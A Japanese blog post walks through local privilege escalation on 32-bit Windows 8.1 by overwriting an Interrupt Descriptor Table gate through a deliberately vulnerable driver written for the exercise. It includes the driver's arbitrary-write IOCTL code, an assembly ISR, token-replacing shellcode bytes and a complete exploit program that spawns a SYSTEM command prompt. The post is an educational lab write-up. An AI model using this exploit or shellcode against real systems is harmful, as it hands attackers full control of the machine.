WindowsでIDT overwriteによる権限昇格をやってみる

「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」では、HalDispatchTableの書き換えを行うことでシェルコードの実行を行った。 しかし、HalDispatchTableやその中のポインタを呼び出す関数の実装はOSのメジャーアップデートなどで変更される可能性があるため、将来的に確実であるとは限らない。 そこで、ここではより確実な方法として、Interrupt Descriptor Table(IDT)の書き換えを利用した権限昇格をやってみる。 IDTはx86アーキテクチャの仕様において割り込みの仕組みとともに定義されており、より変更されにくいものであるといえる。

なお、このエントリの内容については次のスライドでも説明している。

環境

Windows 8.1 Enterprise Evaluation 32 bit版、Visual Studio Community 2015

>systeminfo
OS Name:                   Microsoft Windows 8.1 Enterprise Evaluation
OS Version:                6.3.9600 N/A Build 9600
OS Build Type:             Multiprocessor Free
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x64 Family 6 Model 69 Stepping 1 GenuineIntel ~2294 Mhz

>ml
Microsoft (R) Macro Assembler Version 14.00.23026.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0

脆弱性のあるデバイスドライバを書いてみる

まず、「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」と同様に、脆弱性のあるデバイスドライバを書いてみる。

/* vulndriver.c */
#include <wdm.h>
#include <windef.h>
#pragma warning(disable: 4100)

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

DRIVER_INITIALIZE DriverEntry;
DRIVER_UNLOAD DriverUnload;
DRIVER_DISPATCH handleUnsupported;
DRIVER_DISPATCH handleIOCTL;

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
    UNICODE_STRING DeviceName, DosDeviceName;
    PDEVICE_OBJECT DeviceObject;

    RtlInitUnicodeString(&DeviceName, L"\\Device\\Vuln");
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");

    IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
    IoCreateSymbolicLink(&DosDeviceName, &DeviceName);

    for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = handleUnsupported;
    }
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTL;

    DriverObject->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT DriverObject)
{
    UNICODE_STRING DosDeviceName;
    RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\Vuln");
    IoDeleteSymbolicLink(&DosDeviceName);
    IoDeleteDevice(DriverObject->DeviceObject);
}

NTSTATUS handleUnsupported(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    return STATUS_NOT_SUPPORTED;
}

NTSTATUS handleIOCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
    PIO_STACK_LOCATION pIoStackLocation = IoGetCurrentIrpStackLocation(Irp);
    DWORD ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;

    struct ioctl_aaw_arg *arg;

    switch (ioControlCode) {
    case IOCTL_AAW:
        arg = (struct ioctl_aaw_arg *)inputBuffer;
        *(arg->addr) = arg->value;
        break;
    }

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return Irp->IoStatus.Status;
}

上のコードは、\\.\Vulnというデバイスファイルに対しIOCTLを送ることで、引数に与えた任意アドレス書き換えができるようになっている。

プログラムコードのビルドを行いデバイスドライバ(sysファイル)を作成したら、scコマンドを使ってこれをロードしておく。

Interrupt Descriptor Table

x86アーキテクチャでは、int命令などにより割り込みが発生するとInterrupt Descriptor Table(IDT)と呼ばれるテーブルに格納されたハンドラ関数(Interrupt Service Routine; ISR)が呼ばれる。 ISRはRing 0(カーネルモード)の権限で実行される。

カーネルデバッグを行い、IDTの内容を調べてみると次のようになる。

kd> !idt -a

Dumping IDT: 81114400

dfe3262500000000:       81d6f4fc nt!KiTrap00
dfe3262500000001:       81d6f6ac nt!KiTrap01
dfe3262500000002:       Task Selector = 0x0058
dfe3262500000003:       81d6fbb0 nt!KiTrap03
dfe3262500000004:       81d6fd78 nt!KiTrap04
(snip)
dfe32625000000fc:       81d6e2b0 nt!KiUnexpectedInterrupt204
dfe32625000000fd:       81c211dc hal!HalpTimerProfileInterrupt
dfe32625000000fe:       81c214c0 hal!HalpPerfInterrupt
dfe32625000000ff:       81d6e2d4 nt!KiUnexpectedInterrupt207


Dumping Secondary IDT: 00000000


kd> dc 81114400
81114400  0008f4fc 81d68e00 0008f6ac 81d68e00  ................
81114410  00580000 00008500 0008fbb0 81d6ee00  ..X.............
81114420  0008fd78 81d6ee00 0008ff20 81d68e00  x....... .......
81114430  000800d4 81d78e00 000807d4 81d78e00  ................
81114440  00500000 00008500 000809e0 81d78e00  ..P.............
81114450  00080b3c 81d78e00 00080cb0 81d78e00  <...............
81114460  00080f70 81d78e00 000812cc 81d78e00  p...............
81114470  00081a34 81d78e00 00081ce8 81d78e00  4...............

IDTの各エントリはInterrupt Gateと呼ばれ、次のような8バイトのデータが格納されている。

f:id:inaz2:20151112235230p:plain

上の結果から、たとえばint3命令により3番の割り込みが発生した際はアドレス81d6fbb0にあるnt!KiTrap03がISRとして実行されることがわかる。 また、Descriptor Privilege Level(DPL)は割り込みが可能なCPUの権限を表しており、3であればRing 3(ユーザモード)からの割り込みが可能であることを意味する。 この場合、3番のGateに対応する0008fbb0 81d6ee00を見るとDPLが3となっており、ユーザモードからの割り込みが可能となっている。

以上を踏まえると、適当な番号のInterrupt GateをDPLを3とした上で書き換えることにより、任意のアドレスに置いたISRを実行できそうなことがわかる。

シェルコードを呼び出すISRを書いてみる

上を踏まえて、適当なシェルコードを呼び出すISRを書いてみると次のようになる。

; isr.asm
.386
.model flat, stdcall
.code

start:
    pushad
    push fs
    mov ax, 30h
    mov fs, ax
    call shellcode
    pop fs
    popad
    iretd

shellcode:
    ret

end start

上のコードでは、まず各レジスタの値をスタックに退避した後、fsセグメントレジスタの値を0x33から0x30に切り替える。 ここで、0x33はユーザモードで参照されるTEB構造体、0x30はカーネルモードで参照されるKPCR構造体にそれぞれ対応する。 そして、ISRの直後に置かれたシェルコードをcallする。 最後に、スタックに退避した値をレジスタに戻し、ret命令の代わりにiretd命令でリターンする。

上のコードをアセンブルし、C文字列に変換すると次のようになる。

>ml isr.asm /link /subsystem:console

>dumpbin /rawdata isr.exe
Microsoft (R) COFF/PE Dumper Version 14.00.23026.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file isr.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: 60 0F A0 66 B8 30 00 66 8E E0 E8 04 00 00 00 0F  `..f¸0.f.àè.....
  00401010: A1 61 CF C3                                      ¡aÏÃ

  Summary

        1000 .text

>dumpbin /rawdata isr.exe | powershell -ex remotesigned -f getsc.ps1
\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF\xC3

エクスプロイトコードを書いてみる

ここまでの内容をもとに、IDTの書き換えによりシェルコードを実行するエクスプロイトコードを書くと次のようになる。

/* exploit.c */
#include <windows.h>
#include <stdio.h>

#define IOCTL_AAW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

struct ioctl_aaw_arg {
    DWORD *addr;
    DWORD value;
};

void replacePattern(char *buffer, int size, DWORD pattern, DWORD value)
{
    for (int i = 0; i<size; i++) {
        if (*(DWORD *)(buffer + i) == pattern) {
            *(DWORD *)(buffer + i) = value;
        }
    }
}

ULONG sidt() {
#pragma pack(push, 1)
    struct {
        USHORT limit;
        ULONG base;
    } idtr;
#pragma pack(pop)

    __asm {
        sidt idtr;
    }
    return idtr.base;
}

int main()
{
    DWORD BytesReturned;

    char isr[] = "\x60\x0F\xA0\x66\xB8\x30\x00\x66\x8E\xE0\xE8\x04\x00\x00\x00\x0F\xA1\x61\xCF";
    char shellcode[] = "\x60\x64\xA1\x24\x01\x00\x00\x8B\x80\x80\x00\x00\x00\x05\xB8\x00\x00\x00\x50\x8B\x00\x83\x78\xFC\x04\x75\xF8\x8B\x50\x34\x58\x8B\x00\x81\x78\xFC\x41\x41\x41\x41\x75\xF5\x89\x50\x34\x61\xC3";
    replacePattern(shellcode, sizeof(shellcode), 0x41414141, GetCurrentProcessId());

    LPVOID rwxMemory = VirtualAlloc((LPVOID)0x41410000, 0x20000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    memset(rwxMemory, 0x90, 0x10000);
    memcpy((CHAR *)rwxMemory + 0x10000, isr, sizeof(isr) - 1);
    memcpy((CHAR *)rwxMemory + 0x10000 + sizeof(isr) - 1, shellcode, sizeof(shellcode));

    ULONG idt_base = sidt();

    struct ioctl_aaw_arg arg;
    arg.addr = (CHAR *)idt_base + 8 * 32 + 4;
    arg.value = (DWORD)0x4141ee00;

    HANDLE hDevice = CreateFile("\\\\.\\Vuln", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    DeviceIoControl(hDevice, IOCTL_AAW, &arg, sizeof(arg), NULL, 0, &BytesReturned, NULL);
    CloseHandle(hDevice);

    __asm {
        int 32;
    }

    WinExec("cmd", SW_SHOWNORMAL);

    return 0;
}

上のコードの内容を簡単に説明すると次のようになる。

  1. 0x41410000から0x41420000にnop-sled、その直後にISRコードとシェルコードを配置する
  2. sidt命令を用いてIDTが置かれているアドレスを取得する
  3. デバイスドライバ脆弱性を用い、32番のInterrupt GateをISRアドレスの上位2バイトが0x4141、DPLが3となるように書き換える
  4. int命令を用いて32番の割り込みを発生させ、シェルコードを実行させる
  5. コマンドプロンプトを起動する

x86の仕様では32から255の割り込みはユーザ定義とされている(予約されていない)ため、ここでは32番の割り込みについて書き換えを行っている。 また、シェルコードには「Windowsでデバイスドライバの脆弱性からの権限昇格をやってみる」で作成したReplace Token Shellcodeを利用している。

エクスプロイトコードをコンパイルし実行すると、次のスクリーンショットのようになる。

f:id:inaz2:20151112235259p:plain

whoamiコマンドの結果がnt authority\systemとなっており、権限昇格した状態でコマンドプロンプトが実行できていることが確認できる。

関連リンク